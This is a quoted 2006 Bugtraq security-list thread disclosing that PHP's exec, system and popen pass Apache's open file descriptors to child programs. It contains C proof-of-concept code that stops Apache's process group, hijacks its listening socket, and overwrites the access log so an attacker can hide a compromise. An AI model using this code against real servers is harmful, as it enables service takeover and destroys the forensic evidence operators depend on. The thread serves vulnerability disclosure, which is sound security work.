> -----Original Message-----
> From: Bernhard Mueller [mailto:research@xxxxxxxxxxxxxxx]
> Sent: Friday, October 20, 2006 1:08 PM
> To: bugtraq@xxxxxxxxxxxxxxxxx
> Subject: Re: PHP "exec", "system", "popen" (+small POC)
>
> Hello,
>
> This is not a new problem (see http://www.securityfocus.com/bid/9302).
> However, we also "discovered" this a few weeks ago and
> contacted Apache
> and PHP about it. According to Stefan Esser (PHP) its due to Apache's
> failure to open file descriptors with the close on exec flag. However,
> according to Joe Orton (Apache) won't change this flag
> because it would
> make no difference to Apache's security model ("anything you
> can do in a
> sh script spawned by a PHP script you can do directly in the
> PHP script
> anyway"). The bottom line is that this will also work in
> future, because
> neither the Apache team nor the PHP team will "fix" the issue.
> Personally, I'd think that a combination of both measures
> (close on exec
> flag and explicitly closing specific file descriptors by PHP)
> would make
> the most sense.
> BTW, with this flaw an attacker can also conveniently change
> / overwrite
> Apache's log files and therefore hide his attack after owning a
> PHP-based web application. Here's a quick POC as I haven't seen one
> anywhere yet :)
>
>
> ------------
>
> # apache's access_log can be overwritten with arbitrary content
> # from PHP called executables.
> # POC by frauk\x41ser && sk0L / SEC Consult 2006
>
> #include <unistd.h>
> #include <fcntl.h>
>
> #define LOGFD 7
>
> void main(){
> fcntl(LOGFD, F_SETFL, O_WRONLY); // change mode from
> append to write
> lseek(LOGFD, 0, SEEK_SET); // reposition to start of file
> write(LOGFD,"hehe\n",5);
> }
>
> -------------
>
>
>
> Bernhard
>
>
> äÍÉÔÒÉÊ Borgir wrote:
> > Vulnerable product:
> > -------------------
> > PHP ver. 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5.
> > Other PHP versions are very likely to have this problem.
> >
> > Description:
> > ------------
> > The problem is in "exec", "system", "popen" (and similar)
> PHP functions.
> > In fact, PHP doesn't sanitize opened file descriptors
> before executing
> > a program.
> >
> > Cause:
> > ------
> > These PHP functions use popen() C function to spawn a new process.
> > The call of popen() is equivalent to the combination of
> > - pipe (to create the pipe),
> > - fork (to create the subprocess),
> > - dup2 (to force the subprocess to use the pipe as its
> standard input
> > or output channel),
> > - exec (to execute the new program).
> > These functions keep file descriptors of the parent process opened.
> > So, when we run a new program via, e.g. "exec" PHP function, this
> > program will inherit
> > all opened file descriptors of its parent. In our case it is Apache
> > web-server.
> > (There is FD_CLOEXEC flag for file descriptors, which specifies that
> > the file descriptor
> > should be closed when an exec function is invoked. But
> Apache doesn't
> > set this flag on it
> > descriptors)
> >
> > This bug makes PHP File Include vulnerabilities more dangerous.
> > If the server uses mod_php and we are free to execute shell commands
> > via system(),
> > then we can easily manipulate inherited file descriptors. E.g. to
> > listen and accept
> > connections on 80 port (opened by Apache, and transmitted
> to us by PHP)
> > or write
> > anything to its accesslog or errorlog.
> >
> > Reproduce code:
> > ---------------
> > Some steps to reproduce a bug.
> > First. Simple program to wait :)
> >
> > # cat test1.c
> > int main() {
> > setsid( );
> > sleep( 10000 );
> > }
> >
> > #gcc -o test1 test1.c
> >
> > Ok. Let's make a php script:
> > #cat a.php
> > <?php system( "./test1" ) ?>
> >
> > Request: http://10.0.0.2/a.php
> >
> > Good. Now see opened file descriptors:
> >
> > #lsof | grep test1
> > test1 cwd DIR /usr/local/apache2/htdocs
> > test1 rtd DIR /
> > test1 txt REG /var/www/html/test1
> > test1 mem REG /lib/tls/libc- 2.3.5.so
> > test1 mem REG /lib/ld-2.3.5.so
> > test1 mem REG [stack] (stat: No such file or directory)
> > test1 0r CHR /dev/null
> > test1 1w FIFO pipe
> > test1 2w REG /usr/local/apache2/logs/error_log
> > test1 3u IPv4 *:http (LISTEN)
> > test1 4r FIFO pipe
> > test1 5w FIFO pipe
> > test1 6w REG /usr/local/apache2/logs/error_log
> > test1 7w REG /usr/local/apache2/logs/access_log
> > test1 8r 0000 unknown inode type
> > test1 9u IPv4 10.0.0.2:http->10.0.0.1:2134 (CLOSE_WAIT)
> >
> > So, our test1 has Apache's handles. Now we can do something
> like that
> > (inside test1.c)
> >
> > int p = getsid( 0 ); // get current Process Group Id
> > setsid( ); // become session leader
> > kill( -p, SIGSTOP ); // good night, Apache Process Group :)
> >
> > And after that:
> >
> > for ( sock = 3; sock < getdtablesize(); sock++ ) // find
> valid socket
> > handle
> > if ( listen (sock, 10) == 0 ) break;
> > Full exploit is available on http://hackerdom.ru/~dimmo/phpexpl.c
> >
> > php.net
> > -------
> >
> > I described the bug on "bugs.php.net" on 21 Sep, but there is no
> > feedback from the PHP Group.
> > http://bugs.php.net/38915
> >
> > Greetz
> > ------
> >
> > archange1, jackrabbit, kost, VenRock, znick and others :)
> >
> > Special thanks to ilya for help.
>
>
> --
> _____________________________________________________
>
> DI (FH) Bernhard Mueller
> IT Security Consultant
>
> SEC-Consult Unternehmensberatung GmbH
> www.sec-consult.com
>
> A-1080 Vienna, Blindengasse 3
> phone +43 1 8903043 0
> fax +43 1 8903043 15
> mobile +43 676 840301 718
> email b.mueller@xxxxxxxxxxxxxxx
>
> Advisor for your information security.
> ______________________________________________________
>